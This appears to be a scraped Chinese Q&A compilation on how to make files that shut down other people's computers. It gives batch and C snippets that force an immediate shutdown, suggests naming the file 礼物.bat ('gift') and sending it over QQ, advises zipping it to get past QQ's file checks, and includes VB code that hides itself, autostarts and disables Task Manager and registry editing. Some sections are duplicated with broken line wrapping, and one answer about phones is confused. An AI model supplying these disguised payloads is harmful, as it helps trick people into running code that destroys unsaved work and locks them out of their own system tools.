shutdown -s -t 2100(时间哈)
把它用TXT 写入
再重命名也BAT文件(礼物.bat)
发QQ好友 ta 一双击 就过2100秒 自动关机
shutdown -a (即可结束关机操作)
(想再详细 就网络DOS命令哈 呵呵 )
Ⅱ 怎么制造一个发给别人别人就自动关机的软件
用VB写:Imports System.Diagnostics
Public Class 设置窗体
Private shutTime As String '关机时间的字符串
Private IsToday As Boolean = True '判断是否是今天的变量
Private delay As Integer '延时多少秒放关机
Private lastTime As Integer '关机的倒计时
Private action As String '关机或重启或注销
Private shellText As String '执行的命令字符串
Private firstShow As Boolean = True
Private SysTime As Boolean = False
Private autoHide As Boolean = True '启动自动隐藏
Private TotalData As New System.Diagnostics.PerformanceCounter("Network Interface", "Bytes Total/sec", "MS TCP Loopback interface")
Private proTime As New System.Diagnostics.PerformanceCounter("Processor", "% Processor Time", "_Total")
'双击右下角的图标的响应事件
Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick
If (Me.Visible = False) Then
Me.Show()
End If
End Sub
'重载窗体的关闭事件,使窗体隐藏
Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
e.Cancel = True '取消窗体的关闭动作
delayTime.Value = delay '还原delayTime控件的值
StrToItems() '还原ListBox的值
Me.Hide()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.SelectedIndex = 2 '设置默认选项 "每天"
ComboBox2.SelectedIndex = 4 '设置默认选项 "关机"
Timer1.Start()
readReg() '读取存放在注册表的信息
StrToItems() '把字符串的信息读取到ListBox
delayTime.Value = delay '把延时时间读取到delayTime控件
DateTimePicker1.Value = Today
End Sub
Private Sub 退出程序ToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles 退出程序ToolStripMenuItem.Click
Me.Dispose()
End Sub
Private Sub 立即取消关机ToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles 立即取消关机ToolStripMenuItem1.Click
Timer2.Stop()
取消窗体.Close()
Shell("shutdown -a")
Timer1.Start()
End Sub
Private Sub 设置关机计划ToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles 设置关机计划ToolStripMenuItem.Click
If Me.Visible = False Then
Me.Show()
End If
End Sub
'点击确定按钮的事件处理
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
'判断是否要开机自动运行
If autoCheck.Checked Then
创建开机自动运行()
Else
删除开机自动运行()
End If
If Me.HideCheck.Checked Then
autoHide = True
Else
autoHide = False
End If
If Me.regCheck.Checked Then
禁止修改注册表()
Else
取消禁止修改注册表()
End If
If Me.ManCheck.Checked Then
禁止使用任务管理器()
Else
取消禁止使用任务管理器()
End If
If Me.SysTimeCheck.Checked Then
SysTime = True
Else
SysTime = False
End If
'四舍五入delayTime控件的值
delay = Math.Round(delayTime.Value, MidpointRounding.AwayFromZero)
Me.Hide()
ItemsToStr() '把listBox的信息保存到字符串中
writeReg() '把字符串保存把注册表中
End Sub
'取消按钮事件
Private Sub canelButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles canelButton.Click
StrToItems() '还原ListBox的值
delayTime.Value = delay '还原delayTime控件的值
Me.Hide()
End Sub
'点击添加按钮
Private Sub addButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles addButton.Click
Dim tempStr As String = ""
If ComboBox1.Items.Item(ComboBox1.SelectedIndex) = "指定日期" Then
tempStr = DateTimePicker1.Value.ToShortDateString
Else
tempStr = ComboBox1.SelectedItem
End If
tempStr &= "," & CStr(Math.Round(hourNum.Value, MidpointRounding.AwayFromZero)) & ":" & CStr(Math.Round(minNum.Value, MidpointRounding.AwayFromZero)) & ":" & CStr(Math.Round(secNum.Value, MidpointRounding.AwayFromZero)) & ","
Select Case ComboBox2.SelectedItem
Case "打开网址"
tempStr &= "打开网址" & "[" & TextBox1.Text.Replace(";", ";").Replace(":", ":") & "]"
Case "提醒信息"
tempStr &= "提醒信息" & "[" & TextBox1.Text.Replace(";", ";").Replace(":", ":") & "]"
Case "打开文件"
tempStr &= "打开文件" & "[" & TextBox1.Text.Replace(";", ";").Replace(":", ":") & "]"
Case Else
tempStr &= ComboBox2.SelectedItem
End Select
ListBox1.Items.Add(tempStr)
End Sub
'点击清除按钮
Private Sub clearButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles clearButton.Click
ListBox1.Items.Clear()
End Sub
'把ListBox的值保存到字符串ShutTime
Private Sub ItemsToStr()
Dim i As Integer
shutTime = ""
For i = 0 To ListBox1.Items.Count - 1
'把ListBox中的各项连接到shutTime
shutTime &= ListBox1.Items.Item(i) & ";"
Next
If shutTime <> "" Then
'去除最后一个 ";"
shutTime = Mid(shutTime, 1, shutTime.Length - 1)
End If
End Sub
'把字符串ShutTime的值还原到ListBox
Private Sub StrToItems()
If shutTime <> "" Then '如果shutTime有保存信息
Dim temp() As String = shutTime.Split(";") 'temp字符串数组存放shutTime以";"分隔的各个字符子串
Dim t As String 't存放temp字符串数组的一项
ListBox1.Items.Clear()
For Each t In temp
If Not (Mid(t, 1, 2) = "今天" And Not IsToday) Then '如果今天还没过了
ListBox1.Items.Add(t)
End If
Next
End If
End Sub
'读取注册表保存的信息
Private Sub readReg()
Dim key As Microsoft.Win32.RegistryKey, subkey As Microsoft.Win32.RegistryKey
Try
key = Microsoft.Win32.Registry.LocalMachine
subkey = key.OpenSubKey("SOFTWARE\AutoShutdown")
shutTime = subkey.GetValue("time")
delay = CInt(subkey.GetValue("delayTime"))
autoHide = subkey.GetValue("autoHide")
If (CStr(Today()) <> subkey.GetValue("day")) Then
IsToday = False
End If
Catch ex As Exception
shutTime = ""
IsToday = True
End Try
End Sub
Private Sub 禁止修改注册表()
Dim key As Microsoft.Win32.RegistryKey, subkey As Microsoft.Win32.RegistryKey
key = Microsoft.Win32.Registry.CurrentUser
subkey = key.CreateSubKey("software\microsoft\windows\currentversion\policies\system")
subkey.SetValue("disableregistrytools", 1)
End Sub
Private Sub 取消禁止修改注册表()
Dim key As Microsoft.Win32.RegistryKey, subkey As Microsoft.Win32.RegistryKey
key = Microsoft.Win32.Registry.CurrentUser
subkey = key.CreateSubKey("software\microsoft\windows\currentversion\policies\system")
subkey.SetValue("disableregistrytools", 0)
End Sub
Private Sub 禁止使用任务管理器()
Dim key As Microsoft.Win32.RegistryKey, subkey As Microsoft.Win32.RegistryKey
key = Microsoft.Win32.Registry.CurrentUser
subkey = key.CreateSubKey("software\microsoft\windows\currentversion\policies\system")
subkey.SetValue("DisableTaskMgr", 1)
End Sub
Private Sub 取消禁止使用任务管理器()
Dim key As Microsoft.Win32.RegistryKey, subkey As Microsoft.Win32.RegistryKey
key = Microsoft.Win32.Registry.CurrentUser
subkey = key.CreateSubKey("software\microsoft\windows\currentversion\policies\system")
subkey.SetValue("DisableTaskMgr", 0)
End Sub
Ⅲ 怎样用c语言编写使别人关机的程序并怎样发给别人
#include <stdio.h>
#include <conio.h>
void main(void)
{
system("shutdown -s -t 1"); //1是指一秒实现关机
}
如果想耍别人,把程序发给他后也需要他去运行程序,他的电脑才能关机的,孩子
Ⅳ 如何编写一个能通过QQ发送一个使对方关机的bat文件
看步骤 复制如下代码 粘贴在记事本---保存为 xx.bat
@echo off
shutdown -s -t 0 -f
此文件发给他 他只要双击 立刻关机
有个问题是 如果对方QQ 安全级别设置为 高的 可能无法接受此文件
建议你 压缩后 发给他 把xx.bat 添加到压缩包发送
Ⅳ 如何用c语言让别人手机关机
使用c语言实现手机关机功能是不可能的,因为c语言是一种通用编程语言,它只能用来编写通用程序,而不能控制手机的硬件。
要想让别人的手机关机,可以通过编写一段代码,将这段代码发送到对方的手机,然后让对方手动执行这段代码来实现关机的功能。
Ⅵ 用易语言编了个关机程序,怎么发给别人
用RAR压缩包压缩下,或者发送到自己的网盘 或 技论坛上!
Ⅶ 怎么发送可以让对方关机的文件
自己到网上找个软件,发送给对方就好,对方一接受就关机了.
Ⅷ 怎样用c语言编写使别人关机的程序并怎样发给别人
#include
<stdio.h>
#include
<conio.h>
void
main(void)
{
system("shutdown
-s
-t
1");
//1是指一秒实现关机
}
如果想耍别人,把程序发给他后也需要他去运行程序,他的电脑才能关机的,孩子